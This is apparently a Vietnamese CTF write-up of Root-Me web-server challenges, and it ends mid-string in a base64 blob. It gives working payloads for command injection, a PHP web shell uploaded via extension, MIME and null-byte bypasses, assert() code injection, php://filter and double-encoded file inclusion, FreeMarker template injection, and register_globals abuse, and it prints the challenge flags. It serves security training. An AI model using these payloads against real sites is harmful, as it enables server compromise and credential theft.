---
description: web server + web client
---

# \[WU]\[web]root-me

## WEB SERVER

### HTML - Source code

Ctrl+U đọc source chứa flag:

```markup
<!-- 
Je crois que c'est vraiment trop simple là !
It's really too easy !
password : nZ^&@q5&sjJHev0
-->
```

**FLAG:** nZ^&@q5\&sjJHev0

### HTTP - IP restriction bypass

Tìm những IP trong vùng IP Private:

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MZMSsXlOR3bBVtgiSZ_%2F-MZMXMHQWwwJryV3SqTC%2Fimage.png?alt=media\&token=7023c475-8a42-4d74-8700-feb3b8ab90ec)

Thềm trường `X-Forwarded-For: 172.16.0.2` vào Header (172.16.0.2 là IP private nên được hiểu là cùng mạng  cục bộ)

**FLAG**: Ip\_$po0Fing

### HTTP - Open redirect

Sử dụng burpsuite để xem request gửi đi!

Click vào **twitter** xem thử thì xuất hiện đoạn request sau:&#x20;

> ?url=https://twitter.com\&h=be8b09f7f1f66235a9c91986952483f0

param h mình nghĩ là hash nên analyze thử đoạn đóa xem thì biết là MD5. Chắc là hash của chuỗi url.

![right](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MZMSsXlOR3bBVtgiSZ_%2F-MZMaPrcqmz5aLsi0EM6%2Fimage.png?alt=media\&token=0ba4ea4c-fba4-4713-9600-af2196d9b4c3)

Mình thử sửa cho redirect tới root-me :>

> ?url=[https://www.root-me.org\&h=76437f355bf71b4a46fe01dc0458e01f](https://www.root-me.org\&h=76437f355bf71b4a46fe01dc0458e01f)

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MZMSsXlOR3bBVtgiSZ_%2F-MZMbGnMk7vypuuMPflr%2Fimage.png?alt=media\&token=bc0095a5-5908-4a60-9d8a-eba27834f0fe)

**FLAG:** e6f8a530811d5a479812d7b82fc1a5c5

### HTTP - User-agent

Modify user-agent của header lại thành admin

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MZMSsXlOR3bBVtgiSZ_%2F-MZMcct5dBMJEV7MgD3I%2Fimage.png?alt=media\&token=64081efd-ef55-4e75-a875-d82b4417ac13)

**FLAG:** rr$Li9%L34qd1AAe27

### Weak password

Paswword yếu chỉ có thể là: admin admin

**FLAG**: admin

### PHP - Command injection

Input sẽ được php exec!! Thực hiện nhiều command bằng dấu ;

> **PAYLOAD**: ; cat index.php

Ctrl+U lên xem flag:

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MZMSsXlOR3bBVtgiSZ_%2F-MZMduwrTQOc4kfvbBbU%2Fimage.png?alt=media\&token=45c333e3-0173-4d2f-b696-561a08d660b5)

**FLAG:** S3rv1ceP1n9Sup3rS3cure

### Backup file

Mình dự định sử dụng nmap script `http-backup-finder` để scan backup file nhưng may thay trong lúc đọc **example usage** thì có biết vài format của backup file nên mình thử trước khi scan

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MZN7sNZ4fApwm2NoOek%2F-MZNBud7GzBTuYGzECM3%2Fimage.png?alt=media\&token=8d90cae2-a6c9-4a2a-a508-5758e9db1d15)

Khỏe là /index.php\~ tồn tại và truy cập thì sẽ tải 1 file về

![done](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MZN7sNZ4fApwm2NoOek%2F-MZNCiQqDJnSGGd6dv3O%2Fimage.png?alt=media\&token=9b1a2073-8b31-4948-9c0b-11a1fe0c704f)

**FLAG:** OCCY9AcNm1tj

### HTTP - Directory indexing

Ctrl+U lên đọc code thì có 1 endpoint mới: **/admin/pass.html**

![cú lừa :)))](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MZN7sNZ4fApwm2NoOek%2F-MZNDgYc8bXMu95TlRBl%2Fimage.png?alt=media\&token=4757e97c-bf9c-4c7d-a0c2-7f762f42bd76)

Mình vào **/admin/** xem thì bị **Diretory list**. Truy cập vào **backup/admin.txt** đọc flag

**FLAG:** LINUX

### HTTP - Headers

Vào thấy

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MZN7sNZ4fApwm2NoOek%2F-MZNFQpUpM2DR6bCiotq%2Fimage.png?alt=media\&token=58397f23-4ee2-4ebf-8dea-672f82c64973)

Vào check header response có 1 trường khá lạ `Header-RootMe-Admin: none`

Mình quyết định sửa trường và thêm và header request gửi đi `Header-RootMe-Admin: yes`

![done](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MZN7sNZ4fApwm2NoOek%2F-MZNFkH1mEG7Agcrl-9r%2Fimage.png?alt=media\&token=2548aa9f-4538-4f3b-ac0f-00071e1c7e03)

**FLAG:** HeadersMayBeUseful

### HTTP - POST

Bài này dùng brupsuite khi bắt gói POST khi click nút Give a try. Sửa param score thành 1 số bất kì lớn hơn 999999 (ở đây mình chọn 1000000).

**FLAG:** H7tp\_h4s\_N0\_s3Cr37S\_F0r\_y0U

### HTTP - Improper redirect

Bài này đơn giản đó là vào brupsuite gửi request rồi vào histroy xem gói tin có status code 302.

Hoặc xem gói tin response của gói request đầu tiên (flag trong này) và sửa status code là 200 sau đó xóa trường loacation thì gói tin này sẽ được render trên browser!

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MZN7sNZ4fApwm2NoOek%2F-MZNLzgFABQKY6dmI0dL%2Fimage.png?alt=media\&token=a66b4998-eda6-4b0c-b76b-df022041b9de)

**FLAG:** ExecutionAfterRedirectIsBad

### HTTP - Verb tampering

Bài này đọc doc của root me gửi cho giống như đọc để tham khảo và tìm hiểu thêm chứ bài này thay đổi method (verb) là được @@ mình thử đổi sang POST, HEAD mà không được mà may tới PUT là được :D

> Reference: [https://wiki.owasp.org/index.php/Testing\_for\_HTTP\_Verb\_Tampering\_(OTG-INPVAL-003)](https://wiki.owasp.org/index.php/Testing_for_HTTP_Verb_Tampering_\(OTG-INPVAL-003\))

**FLAG:** a23e$dme96d3saez\$$prap

### Install files

Mình nghĩ đây là [CVE-2002-1707](https://www.cvedetails.com/cve/CVE-2002-1707/)!

Vào 1 màn hình trắng trơn, xem source và được gợi ý đến 1 enpoint `/phpbb` nhưng đây cũng là màn hình trắng.

Đọc CVE và các gợi ý trên mạng mình truy cập vào endpoint `/phpbb/install` thì phát hiện vuln của web!

Tại đây vào `install.php` để đọc flag.

**FLAG:** karambar

### CRLF

Ở bài này cần làm 2 việc:

* Chèn CRLF (\r\n a.k.a %0d%0a) vào đúng chỗ khi request
* In ra được dòng "**admin authenticated.**" (phải chính xác từng ký tự) còn lại in gì cũng được

> **PAYLOAD:** ?user=**admin authenticated.%0d%0a**ok\&password=ok

**FLAG:** rFSP\&G0p&5uAg1%

### File upload - Double extensions

Từ tile thì đã hiểu được cách làm

Các bước làm trong bài này:

* Tạo 1 file php `<?php system($_GET['cmd']); ?>`
* Lưu tên là `cmd.php.png` để ngụy trang
* Upload file này và truy cập vào đường dẫn
* Thêm param `?cmd=` để thực hiện command server.

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_VSyaf_HYT8OqFeang%2F-M_VTZg4FkLX-BomoucS%2Fimage.png?alt=media\&token=985c28a9-0957-4eec-a8a5-5da549933d08)

Tiếp lần lực thực hiện:

* `pwd` để xem mình đứng ở đâu (Theo như đề thì flag để ở root của app chứ hong phải root của máy)
* `ls -a ../../../` (Mình đang đứng ở /challenge/web-serveur/**ch20**/galerie/upload/526f8f...)
* `cat ../../../.passwd`&#x20;

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_VSyaf_HYT8OqFeang%2F-M_VUL1EiGnbV2GrucTd%2Fimage.png?alt=media\&token=edc72130-5938-4807-9189-8caca8d96ed3)

**FLAG:** Gg9LRz-hWSxqqUKd77-\_q-6G8

### File upload - MIME type

Bài này cũng là sẽ khai thác upload file giống bài trên nên mới vào thử double extension cùng đó nhưng lúc truy cập vào file thất bại vì response `Content-Type` là image/png chứ không phải text/html như bài cũ.

Vậy thử upload 1 file php nhưng chỉnh sửa type lại: image/jpg

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_VV3X4FbwiEfMPPjDG%2F-M_VlcqQbvvCR8ut87_v%2Fimage.png?alt=media\&token=8ae74007-ed60-4c50-a376-b584cda26710)

Upload thành công, truy cập file và thêm param `?cmd=cat` để xem flag trên server.

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_VV3X4FbwiEfMPPjDG%2F-M_Vm566J0J-Ua6z9R-G%2Fimage.png?alt=media\&token=59342ab0-c788-43f3-b6c6-dc29719b7f25)

**FLAG**: a7n4nizpgQgnPERy89uanf6T4

### Directory traversal

Tham quan 1 vòng thì nhận ra rằng mỗi mục là 1 folder bên trong là các ảnh.

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_VmI0VHpvDYI91j_Ki%2F-M_VpXyygY5cEcMy38Eb%2Fimage.png?alt=media\&token=7d095eef-0fd9-47b7-8a5d-d0b48cd8c01a)

Khi truyền giá trị cho `galerie` thì server sẽ thực thi open directory (không phải include file).

Ta thử truyền `..` vào cho `galerie` :

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_VmI0VHpvDYI91j_Ki%2F-M_Vq8qNgnA6VKkzm4fN%2Fimage.png?alt=media\&token=260c97ac-97bc-482e-94bc-f4d19e257397)

Xuất hiện lỗi (không filter giá trị nhập vào). Và tin chắc là FLAG đang nằm trong `galerie` .&#x20;

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_VmI0VHpvDYI91j_Ki%2F-M_VqZ9l-g2wvp8dB0TU%2Fimage.png?alt=media\&token=11d376f3-34f4-4f6e-9c01-0d8adadffa92)

Có 1 folder khá lạ `86hwnX2r` . Truy cập vào xem

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_VmI0VHpvDYI91j_Ki%2F-M_VqmzDiBh_-gekZx-1%2Fimage.png?alt=media\&token=b17d3d2c-08e2-484d-86c2-58840dfc9010)

File `password.txt` nằm ở đây! Mở ngay file này nhưng báo lỗi **Not a directory**. Nhớ rằng đây open dir chứ không phải include file.

Ta truy cập trực tiếp vào file bằng đường dẫn.&#x20;

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_VmI0VHpvDYI91j_Ki%2F-M_VrSGb-3P6U1IBczSV%2Fimage.png?alt=media\&token=51ab5228-1bab-4514-b482-0ed32065e68b)

> Chỉ có thể truy cập trực vào file bằng đường dẫn còn folder thì không trực tiếp được bởi vì webserver đã configue hạn chế quyền.

**FLAG:** kcb$!Bx@v4Gs9Ez

### File upload - Null byte

Thêm 1 bài tấn công bằng cách upload file php.

Đầu tiên thử double extention nhưng không bypass được, tương tự với edit type.

Reseach về Nullbyte thì biết rằng thêm `%00` (NULL) vào bất kỳ chỗ nào trong chuỗi thì string kết thúc tại đó.

Tạo 1 file `inject.php.png` với nội dung là code php như các bài trên.

Dùng burpsuite để capture gói tin trước khi gửi đi và edit `filename` lại `inject.php%00.png`&#x20;

Như vậy vừa bypass được filter mà còn lưu vào server dưới dạng `inject.php` vì đoạn sau `%00` đã bị cắt

Truy cập vào file vừa upload là thấy flag

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_VmI0VHpvDYI91j_Ki%2F-M_W2u17F5gGThyuCuqO%2Fimage.png?alt=media\&token=9194a924-c421-45db-938c-7e399fe1c417)

**FLAG:** YPNchi2NmTwygr2dgCCF

### PHP - assert()

Tại bài này ta có thể thấy một số page `home` , `about` , `contact` đều được gọi lên bằng cách truyền giá tên file cho param `?page=` . Thử fuzz `../` xem có chuyện gì xảy ra không

Bài này có 3 pages: `home`, `about`, `contact`. Và 3 pages này được gọi thông qua việc truyền giá trị tương ứng cho param `?page=`. Ta thử với input khác cho `page`, ví dụ như `../../etc/passwd` để mong chờ LFI.

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_Zav40ksH_5EBBS9ip%2F-M_Zg51ush7B74q8E_1V%2Fimage.png?alt=media\&token=176c034d-762b-4b6d-9b5d-7d3324cca988)

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_i_JLlhvBCrQ1FV95D%2F-M_iaCKcP8GYqYKTAO9w%2Fimage.png?alt=media\&token=58888aa6-6f3a-4e5a-8525-34a7b8009596)

Warning lỗi, nếu không truyền gì cho `page` thì does not exist. Vậy ta có thể hình dung được source ở server như sau:

Waring 1 lỗi. Như vậy ta có thể hình dung ra phần nào code của backend:

```php
$file = 'includes/'.isset($_GET['page']);
assert(strpos($file,'..') === false, 'Detectd hacking attempt!');
```

```php
<?php
$file = 'includes/' . $_GET['page'] . '.php';
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
?>
```



Nhìn code trên ta kết luận rằng đây là **code injection** và mình có thể chỉnh sửa code theo tùy thích.

**PAYLOAD:** `', '..') === false and system('cat .passwd') and strpos('`&#x20;

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_i_JLlhvBCrQ1FV95D%2F-M_itK1ems8n68Sud77i%2Fimage.png?alt=media\&token=442d7f95-ee4f-4823-9a11-f40281b384d6)

**FLAG**: x4Ss3rT1nglSn0ts4f3A7A1Lx

### PHP - Filters

Có một form login nhưng ta không có username và password. Việc cần làm là leak được password

Thử `../../../etc/passwd` để mong chờ LFI hay gì đấy đại loại thì warning lỗi **open\_basedir** (giới hạn truy cập một file bên ngoài  folder đã chỉ định.

Vì tên bài này là **php-filters**. Search keyword **php wrapper** và đọc manual sẽ biết cách sử dụng `filter`.

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_i_JLlhvBCrQ1FV95D%2F-M_j0-Dnc-yhhMDYv2e2%2Fimage.png?alt=media\&token=be9f5634-bbf4-4347-ad23-9810445085e4)

Để đọc source code của file **login.php** mình thử payload: `php://filter/resource=login.php`&#x20;

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_i_JLlhvBCrQ1FV95D%2F-M_j17p45O7GzDox-iLL%2Fimage.png?alt=media\&token=1bb0c95b-135b-4544-959f-cbbe8ffc3faa)

À, khi response thì sẽ được render source code luôn nên là trước khi response phải encode chúng.

**PAYLOAD**: `php://filter/convert./resource=login.php`

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_i_JLlhvBCrQ1FV95D%2F-M_j1ijNNXlWNwLxrYpQ%2Fimage.png?alt=media\&token=a9f6bb8b-a1b3-4d47-8dee-7e857c5c93a5)

{% code title="DECODE BASE64" %}
```php
<?php
include("config.php");

if ( isset($_POST["username"]) && isset($_POST["password"]) ){
    if ($_POST["username"]==$username && $_POST["password"]==$password){
      print("<h2>Welcome back !</h2>");
      print("To validate the challenge use this password<br/><br/>");
    } else {
      print("<h3>Error : no such user/password</h2><br />");
    }
} else {
?>

<form action="" method="post">
  Login&nbsp;<br/>
  <input type="text" name="username" /><br/><br/>
  Password&nbsp;<br/>
  <input type="password" name="password" /><br/><br/>
  <br/><br/>
  <input type="submit" value="connect" /><br/><br/>
</form>

<?php } ?>
```
{% endcode %}

Vậy password được lưu tại file `config.php` :

**PAYLOAD**: `php://filter/convert./resource=config.php` .

**Response:** PD9waHAKCiR1c2VybmFtZT0iYWRtaW4iOwokcGFzc3dvcmQ9IkRBUHQ5RDJta3kwQVBBRiI7Cgo/Pg==

{% code title="DECODE BASE64" %}
```php
<?php

$username="admin";
$password="DAPt9D2mky0APAF";

?>
```
{% endcode %}

**FLAG**: DAPt9D2mky0APAF

### PHP - register globals

Nhờ có kinh nghiệm từbàitim backup file nên ở bài này hint là _**It seems that the developper often leaves backup files around...**_ mình liền tìm được: `index.php.bak`

```php
<?php


function auth($password, $hidden_password){
    $res=0;
    if (isset($password) && $password!=""){
        if ( $password == $hidden_password ){
            $res=1;
        }
    }
    $_SESSION["logged"]=$res;
    return $res;
}



function display($res){
    $aff= '
	  <html>
	  <head>
	  </head>
	  <body>
	    <h1>Authentication v 0.05</h1>
	    <form action="" method="POST">
	      Password&nbsp;<br/>
	      <input type="password" name="password" /><br/><br/>
	      <br/><br/>
	      <input type="submit" value="connect" /><br/><br/>
	    </form>
	    <h3>'.htmlentities($res).'</h3>
	  </body>
	  </html>';
    return $aff;
}



session_start();
if ( ! isset($_SESSION["logged"]) )
    $_SESSION["logged"]=0;

$aff="";
include("config.inc.php");

if (isset($_POST["password"]))
    $password = $_POST["password"];

if (!ini_get('register_globals')) {
    $superglobals = array($_SERVER, $_ENV,$_FILES, $_COOKIE, $_POST, $_GET);
    if (isset($_SESSION)) {
        array_unshift($superglobals, $_SESSION);
    }
    foreach ($superglobals as $superglobal) {
        extract($superglobal, 0 );
    }
}

if (( isset ($password) && $password!="" && auth($password,$hidden_password)==1) 
    || (is_array($_SESSION) && $_SESSION["logged"]==1 ) ){
    $aff=display("well done, you can validate with the password : $hidden_password");
} else {
    $aff=display("try again");
}

echo $aff;

?>
```

Nhờ đoạn code kiểm tra trước khi in flag&#x20;

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_jC0bIWhw3qbjfgAR3%2F-M_jHSHQkTAZ3KQCwYzA%2Fimage.png?alt=media\&token=206f064b-ba4d-41ff-ba75-283ee52791f2)

Tại điều kiện này quy ra chỉ cần cótồn tại param mảng `_SESSION` và giá trị tại `logged = 1` . Được biểu thị dưới dạng url như sau:

**PAYLOAD**: `?_SESSION[logged]=1`.

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_jC0bIWhw3qbjfgAR3%2F-M_jI-WKW6onY2K91ViJ%2Fimage.png?alt=media\&token=39f82a49-fdbe-4985-bb02-fb4f3254e62e)

**FLAG:** NoTQYipcRKkgrqG

### PHP - Remote Xdebug

### File upload - ZIP

Tạo thử 1 file `phpinfo.php` có nội dung `<?php phpinfo() ?>` và nén lại `phpinfo.zip` rồi upload, sau đó xem thử nội dung file php ta vừa upload:

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_jC0bIWhw3qbjfgAR3%2F-M_k2H8sbOpoEv5wTesZ%2Fimage.png?alt=media\&token=7f825276-92d3-4a3c-80a8-84ad9e7574e2)

Oopss!!! Không thể access tệp php. Nhưng ít ra ta được biết path đến file hiện tại và có thể đoán được ngay file `index.php` cần xem đang nằm tại `../../../index.php` (folder `ch51`).

Theo hướng khác: Tạo 1 file **cha51.txt** -> link với **../../../index.php** (dùng `ln`) -> nén lại (`zip`) -> upload

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_jC0bIWhw3qbjfgAR3%2F-M_k4gSPl6r8lcMPp5ni%2Fimage.png?alt=media\&token=44cbf356-0ef5-4765-b49b-41f7716feca5)

Sau khi upload, mở `chal51.txt` xem:

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_jC0bIWhw3qbjfgAR3%2F-M_k4aHXM6_vdVrGJ5Gc%2Fimage.png?alt=media\&token=6ea6edf7-8cc8-40c9-9a60-20a4cc713e7e)

**FLAG**: N3v3r\_7rU5T\_u5Er\_1npU7

### Java - Server-side Template Injection

Cấu trúc thư mục của workplace Java sử dụng template FreeMaker (template phổ biến nhất của JAVA):

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_jC0bIWhw3qbjfgAR3%2F-M_k80fZcHQKCo0RNX3a%2Fimage.png?alt=media\&token=105add1f-91d2-4738-a2ca-1eae7850ed95)

Trong doc từ PortSwigger có hướng dẫn sau:

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_jC0bIWhw3qbjfgAR3%2F-M_k98rSVfB7H65r7REX%2Fimage.png?alt=media\&token=a810a6e2-3cfd-4066-aabe-f7b20869034b)

Ứng dụng vào bài làm:

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_jC0bIWhw3qbjfgAR3%2F-M_k9MBbUoUN-bYkD8am%2Fimage.png?alt=media\&token=c912756b-b4bf-4d67-9a85-fc5a69035552)

Thành công,  ta cần đọc file `SECRET_FLAG.txt`. Thay đổi 1 chút tham số truyền vào hàm `ex()`.

**PAYLOAD**: `<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("cat SECRET_FLAG.txt") }`

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_jC0bIWhw3qbjfgAR3%2F-M_k9tjE2ZbhBOSVMjhT%2Fimage.png?alt=media\&token=d0eeb7e6-d390-48a8-8fae-60bfeacf88f7)

**FLAG:** B3wareOfT3mplat3Inj3ction

### Local File Inclusion

Có 2 param cần truyền `files` (truyền tên folder), `f` (truyền tên file).

Ta đến thư mục gốc của challenge này:

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_jC0bIWhw3qbjfgAR3%2F-M_kDI9feHpV8pVqKfvL%2Fimage.png?alt=media\&token=dfd3c3f0-f34f-4b20-8266-3bc8116f3738)

Có thư mục `admin` và chắc rằng `password` mình đang tìm nằm trong đấy.

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_jC0bIWhw3qbjfgAR3%2F-M_kDWIkq0k76iF1bsZD%2Fimage.png?alt=media\&token=7734a0c4-ab62-4238-8942-df5292c0f411)

Đọc file `index.php` trong thư mục `admin`.

**PAYLOAD:** `?files=../admin&f=index.php`.

Có 1 dòng code như sau: `$users = array('admin' => 'OpbNJ60xYpvAQU8');`.

**FLAG**: OpbNJ60xYpvAQU8



### Local File Inclusion - Double encoding

Có 1 param `page`. Thử truyền `../` và báo **Attack detected**. -> đã filter dấu `..`. Thử thêm thì biết đã filter dấu `.` .

Truyền đại ký tự nào đấy (abc):

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_jC0bIWhw3qbjfgAR3%2F-M_kEmcnD1UaXUiMDmkr%2Fimage.png?alt=media\&token=a4a46366-569f-474d-becf-76d3e20c9854)

Từ đây ta biết được giá trị truyền vàosẽ được ghép với cụm extention `.inc.php`

Mình dùng payload sau để đọc source của chương trình, encode url 2 lần để bypass filter:

> &#x20;**php://filter/convert.base64-encode/resource=home**
>
> %25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%38%25%36%66%25%36%64%25%36%35

Nhận được 1 chuỗi base64:

> PD9waHAgaW5jbHVkZSgiY29uZi5pbmMucGhwIik7ID8+CjwhRE9DVFlQRSBodG1sPgo8aHRtbD4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5KLiBTbWl0aCAtIEhvbWU8L3RpdGxlPgogIDwvaGVhZD4KICA8Ym9keT4KICAgIDw/PSAkY29uZlsnZ2xvYmFsX3N0eWxlJ10gPz4KICAgIDxuYXY+CiAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9wYWdlPWhvbWUiIGNsYXNzPSJhY3RpdmUiPkhvbWU8L2E+CiAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9wYWdlPWN2Ij5DVjwvYT4KICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP3BhZ2U9Y29udGFjdCI+Q29udGFjdDwvYT4KICAgIDwvbmF2PgogICAgPGRpdiBpZD0ibWFpbiI+CiAgICAgIDw/PSAkY29uZlsnaG9tZSddID8+CiAgICA8L2Rpdj4KICA8L2JvZHk+CjwvaHRtbD4K

Sau khi decode:

```php
<?php include("conf.inc.php"); ?>
<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>J. Smith - Home</title>
  </head>
  <body>
    <?= $conf['global_style'] ?>
    <nav>
      <a href="index.php?page=home" class="active">Home</a>
      <a href="index.php?page=cv">CV</a>
      <a href="index.php?page=contact">Contact</a>
    </nav>
    <div id="main">
      <?= $conf['home'] ?>
    </div>
  </body>
</html>
```

Trong file có `include` 1 file config. Làm tương tự để đọc source của file (sửa `home` -> `conf`)

> **PAYLOAD:** php://filter/convert.base64-encode/resource=conf
>
> **DOUBLE ENCODED:** %25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%36%36
>
> **BASE64 RESPONSE:**
>
> PD9waHAKICAkY29uZiA9IFsKICAgICJmbGFnIiAgICAgICAgPT4gIlRoMXNJc1RoM0ZsNGchIiwKICAgICJob21lIiAgICAgICAgPT4gJzxoMj5XZWxjb21lPC9oMj4KICAgIDxkaXY+V2VsY29tZSBvbiBteSBwZXJzb25hbCB3ZWJzaXRlICE8L2Rpdj4nLAogICAgImN2IiAgICAgICAgICA9PiBbCiAgICAgICJnZW5kZXIiICAgICAgPT4gdHJ1ZSwKICAgICAgImJpcnRoIiAgICAgICA9PiA0NDE3NTk2MDAsCiAgICAgICJqb2JzIiAgICAgICAgPT4gWwogICAgICAgIFsKICAgICAgICAgICJ0aXRsZSIgICAgID0+ICJDb2ZmZWUgZGV2ZWxvcGVyIEBNZWdhdXBsb2FkIiwKICAgICAgICAgICJkYXRlIiAgICAgID0+ICIwMS8yMDEwIgogICAgICAgIF0sCiAgICAgICAgWwogICAgICAgICAgInRpdGxlIiAgICAgPT4gIkJlZCB0ZXN0ZXIgQFlvdXJNb20ncyIsCiAgICAgICAgICAiZGF0ZSIgICAgICA9PiAiMDMvMjAxMSIKICAgICAgICBdLAogICAgICAgIFsKICAgICAgICAgICJ0aXRsZSIgICAgID0+ICJCZWVyIGRyaW5rZXIgQE5lYXJlc3RCYXIiLAogICAgICAgICAgImRhdGUiICAgICAgPT4gIjEwLzIwMTQiCiAgICAgICAgXQogICAgICBdCiAgICBdLAogICAgImNvbnRhY3QiICAgICAgID0+IFsKICAgICAgImZpcnN0bmFtZSIgICAgID0+ICJKb2huIiwKICAgICAgImxhc3RuYW1lIiAgICAgID0+ICJTbWl0aCIsCiAgICAgICJwaG9uZSIgICAgICAgICA9PiAiMDEgMzMgNzEgMDAgMDEiLAogICAgICAibWFpbCIgICAgICAgICAgPT4gImpvaG4uc21pdGhAdGhlZ2FtZS5jb20iCiAgICBdLAogICAgImdsb2JhbF9zdHlsZSIgID0+ICc8c3R5bGUgbWVkaWE9InNjcmVlbiI+CiAgICAgIGJvZHl7CiAgICAgICAgYmFja2dyb3VuZDogcmdiKDIzMSwgMjMxLCAyMzEpOwogICAgICAgIGZvbnQtZmFtaWx5OiBUYWhvbWEsVmVyZGFuY